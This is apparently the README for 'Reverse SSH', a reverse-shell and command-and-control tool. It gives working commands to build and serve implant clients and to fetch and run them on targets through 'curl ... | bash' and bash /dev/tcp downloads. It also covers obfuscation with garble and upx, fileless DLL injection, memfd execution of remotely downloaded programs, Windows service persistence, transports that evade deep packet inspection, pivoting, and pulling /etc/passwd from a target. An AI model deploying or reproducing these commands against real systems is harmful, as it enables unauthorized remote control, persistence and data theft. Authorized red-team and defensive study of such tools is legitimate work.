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Reverse SSH

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(Art credit to https://www.instagram.com/smart.hedgehog.art/)

Want to use SSH for reverse shells? Now you can.

                    +----------------+                 +---------+
                    |                |                 |         |
                    |                |       +---------+   RSSH  |
                    |    Reverse     |       |         |  Client |
                    |  SSH server    |       |         |         |
                    |                |       |         +---------+
+---------+         |                |       |
|         |         |                |       |
| Human   |   SSH   |                |  SSH  |         +---------+
| Client  +-------->+                <-----------------+         |
|         |         |                |       |         |   RSSH  |
+---------+         |                |       |         |  Client |
                    |                |       |         |         |
                    |                |       |         +---------+
                    |                |       |
                    |                |       |
                    +----------------+       |         +---------+
                                             |         |         |
                                             |         |   RSSH  |
                                             +---------+  Client |
                                                       |         |
                                                       +---------+

https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1

TL;DR

Setup

The docker release is recommended as it includes the right version of golang, and a cross compiler for windows.

# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh

or docker compose:

services:
  reversessh:
    image: reversessh/reverse_ssh
    ports:
      - "3232:2222"
    environment:
      - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
      - RSSH_CONSOLE_LABEL=c2.label
      - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
      - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
    volumes:
      - ./data:/data

Basic Usage

# Connect to the server console
ssh your.rssh.server.internal -p 3232


# List all server console commands
catcher$ help

# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25


# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash

# then we can then list what clients are connected
catcher$ ls
                                 Targets
+------------------------------------------+-----------------------------------+
| IDs                                      | Version                           |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |
| dummy.machine                            |                                   |
| 192.168.0.11:34542                       |                                   |
+------------------------------------------+-----------------------------------+

All commands support the -h flag for giving help.

Then typical ssh commands work, just specify your rssh server as a jump host.

# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine

# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine

# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine

# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .

Sponsors

A huge thanks to the following folk for donating to the RSSH project and making all this work possible!

Individuals

chikamobina for their generous donations!
wrighterase (ctrlzero) for their pull requests and donation!

Companies

Carapace is a New Zealand based security consultancy with an extremely talented team of folk!
<img src="icons/carapace_logo.png">

Fancy Features

Privileges

The RSSH server supports very basic user privileges, where users found in the data-directory/keys (specified by --datadir) folder e.g data-directory/keys/jim will be assigned as a "user" only able to see clients that are public (found in the authorized_controllee_keys file without an owners tag, or an empty owners tag) or specifically assigned to them, e.g owners="jim".

This can be changed at run time via an user sharing access to a client they own with the access command, or a server administrator. Defaultly, any public key found in the authorized_keys file will be marked as an administrator to retain backwards compatibility. Any changes made by the access command will not persist server reboot, and this will require editing the authorized_controllee_keys file for that specific client.

Automatic connect-back

The rssh client allows you to bake in a connect back address. By default the link command will bake in the servers external address.

If you're (for some reason) manually building the binary, you can specify the environment variable RSSH_HOMESERVER to bake it into the client:

$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make

# Will connect to your.rssh.server.internal:3232, even though no destination is specified
$ bin/client

# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client -d example.com:3232

Reverse shell download (client generation and in-built HTTP/Raw TCP server)

The RSSH server can build and host client binaries (link command). Which is the preferred method for building and serving clients. For function to work the server must be placed in the project bin/ folder, as it needs to find the client source.

By default the docker release has this all built properly, and is recommended for use

ssh your.rssh.server.internal -p 3232

catcher$ link -h

link [OPTIONS]
Link will compile a client and serve the resulting binary on a link which is returned.
This requires the web server component has been enabled.
	--fingerprint	Set RSSH server fingerprint will default to server public key
	--garble	Use garble to obfuscate the binary (requires garble@master to be installed)
	--goarch	Set the target build architecture (default runtime GOARCH)
	--goarm	Set the go arm variable (not set by default)
	--goos	Set the target build operating system (default runtime GOOS)
	--http	Use http polling as the underlying transport
	--https	Use https polling as the underlying transport
	--name	Set the link download url/filename (default random characters)
	--no-lib-c	Compile client without glibc
	--owners	Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson
	--proxy	Set connect proxy address to bake it
	--raw-download	Download over raw TCP, outputs bash downloader rather than http
	--shared-object	Generate shared object file
	--sni	When TLS is in use, set a custom SNI for the client to connect with
	--stdio	Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored
	--tls	Use TLS as the underlying transport
	--upx	Use upx to compress the final binary (requires upx to be installed)
	--working-directory	Set download/working directory for automatic script (i.e doing curl https://<url>.sh)
	--ws	Use plain http websockets as the underlying transport
	--wss	Use TLS websockets as the underlying transport
	-C	Comment to add as the public key (acts as the name)
	-l	List currently active download links
	-o	Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson
	-r	Remove download link
	-s	Set homeserver address, defaults to server --external_address if set, or server listen address if not

# Generate a client and serve it on a named link
catcher$ link --name test
http://your.rssh.server.internal:3232/test

Then you can download it as follows:

wget http://your.rssh.server.internal:3232/test
chmod +x test
./test

Or you can use raw tcp to download the client binary:

bash -c "exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3" > test

The format for this is just RAW followed by the filename, i.e in this case test, rssh can autogenerate this for you with --raw-download.

The RSSH server also supports .sh, .py and .ps1 URL path endings which will generate a script you can pipe into an intepreter:

curl http://your.rssh.server.internal:3232/test.sh | sh

Alternate Transports (HTTP/Websockets/TLS)

The reverse SSH server and client both support multiple transports for when deep packet inspection blocks SSH outbound from a host or network. You can either specify the connect back scheme manually by specifying it as a url in the client.

E.g

./client -d ws://your.rssh.server:3232

Or by baking it in with the link command.

ssh your.rssh.server -p 3232 link --ws --name test

Bash autocomplete

The RSSH server has the autocomplete command which integrates nicely with bash so that you can have autocompletions when not using the server console. To install them you simply do:

ssh your.rssh.server.internal -p 3232 autocomplete --shell-completion your.rssh.server.internal:3232

And this will return an autocompletion that can be added to your .zshrc or .bashrc

E.g

_RSSHCLIENTSCOMPLETION()
{
    local cur=${COMP_WORDS[COMP_CWORD]}
    COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 autocomplete --clients)" -- $cur) )
}

_RSSHFUNCTIONSCOMPLETIONS()
{
    local cur=${COMP_WORDS[COMP_CWORD]}
    COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 help -l)" -- $cur) )
}

complete -F _RSSHFUNCTIONSCOMPLETIONS ssh your.rssh.server.internal -p 3232 

complete -F _RSSHCLIENTSCOMPLETION ssh -J your.rssh.server.internal:3232

complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 exec 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 connect 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 listen -c 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 kill

Enabling you to do completions straight from your terminal:

# Will give you an option based on what clients are connected
ssh -J your.rssh.server.internal:3232 <TAB>

Windows DLL Generation

You can compile the client as a DLL to be loaded with something like Invoke-ReflectivePEInjection. Which is useful when you want to do fileless injection of the rssh client.

This will need a cross compiler if you are doing this on linux, use mingw-w64-gcc, this is included in the docker release.

# Using the link command
catcher$ link --goos windows --shared-object --name windows_dll
http://your.rssh.server.internal:3232/windows_dll

# If building manually
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll

SSH Subsystems

The SSH protocol supports calling subsystems with the -s flag. In RSSH this is repurposed to provide special commands for platforms, and sftp support.

All

list Lists avaiable subsystem sftp: Runs the sftp handler to transfer files

Linux

setgid: Attempt to change group setuid: Attempt to change user

Windows

service: Installs or removes the rssh binary as a windows service, requires administrative rights

e.g

# Install the rssh binary as a service (windows only)
ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --install

Windows Service Integration

The client RSSH binary supports being run within a windows service and wont time out after 10 seconds. This is great for creating persistent management services.

Full Windows Shell Support

Most reverse shells for windows struggle to generate a shell environment that supports resizing, copying and pasting and all the other features that we're all very fond of. This project uses conpty on newer versions of windows, and the winpty library (which self unpacks) on older versions. This should mean that almost all versions of windows will net you a nice shell.

Webhooks

The RSSH server can send out raw HTTP requests set using the webhook command from the terminal interface.

First enable a webhook:

$ ssh your.rssh.server.internal -p 3232
catcher$ webhook --on http://localhost:8080/

Then disconnect, or connect a client, this will when issue a POST request with the following format.

$ nc -l -p 8080
POST /rssh_webhook HTTP/1.1
Host: localhost:8080
User-Agent: Go-http-client/1.1
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip

{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%

As an additional note, please use the /slack endpoint if connecting this to discord.

Tun (VPN)

RSSH and SSH support creating tuntap interfaces that allow you to route traffic and create pseudo-VPN. It does take a bit more setup than just a local or remote forward (-L, -R), but in this mode you can send UDP and ICMP.

First set up a tun (layer 3) device on your local machine.

sudo ip tuntap add dev tun0 mode tun
sudo ip link set dev tun0 up

# This will defaultly route all non-local network traffic through the tunnel
sudo ip route add 0.0.0.0/0 dev tun0

Install a client on a remote machine, this will not work if you have your RSSH client on the same host as your tun device.

ssh -J your.rssh.server.internal:3232 user.wombo -w 0:any

This has some limitations, it is only able to send UDP/TCP/ICMP, and not arbitrary layer 3 protocols. ICMP is best effort and may use the remote hosts ping tool, as ICMP sockets are privileged on most machines. This also does not support tap devices, e.g layer 2 VPN, as this would require administrative access.

Fileless execution (Clients support dynamically downloading executables to execute as shell)

When specifying what executable the rssh binary should run, either when connecting with a full PTY session or raw execution the client supports URI schemes to download offhost executables.

For example.

connect --shell https://your.host/program <rssh_client_id>
ssh -J your.rssh.server:3232 <rssh_client_id> https://your.host/program

Supported URI Schemes

http/https: Pure web downloading

rssh: Download via the rssh server The rssh server will serve content from the downloads directory in the executables working directory.

Both of these methods will opportunistically use memfd which will not write any executables to disk.

Help

Windows and SFTP

Due to the limitations of SFTP (or rather the library Im using for it). Paths need a little more effort on windows.

sftp -r -J your.rssh.server.internal:3232 test-pc.user.test-pc:'/C:/Windows/system32'

Note the / before the starting character.

Server started with --insecure still has Failed to handshake

If the client binary was generated with the link command this client has the server public key fingerprint baked in by default. If you lose your server private key, the clients will no longer be able to connect. You can also generate clients with link --fingerprint <fingerprint here> to specify a fingerprint, there isnt currently a way to disable this as per version 1.0.13.

Foreground vs Background

By default, clients will run in the background then the parent process will exit, the child process will be given the parent processes stdout/stderr so you will be able to see output. If you need to debug your client, use the --foreground flag.

Donations, Support, or Giving Back

The easiest way to give back to the RSSH project is by finding bugs, opening feature requests and word-of-mouth advertising it to people you think will find it useful!

However, if you want to give something back to me directly, you can do so either through Kofi or Github Sponsors (under "Sponsor this Project" on the right hand side). Or donate to me by sending to the either of the following wallets:

Monero (XMR): 8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND Bitcoin (BTC): bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr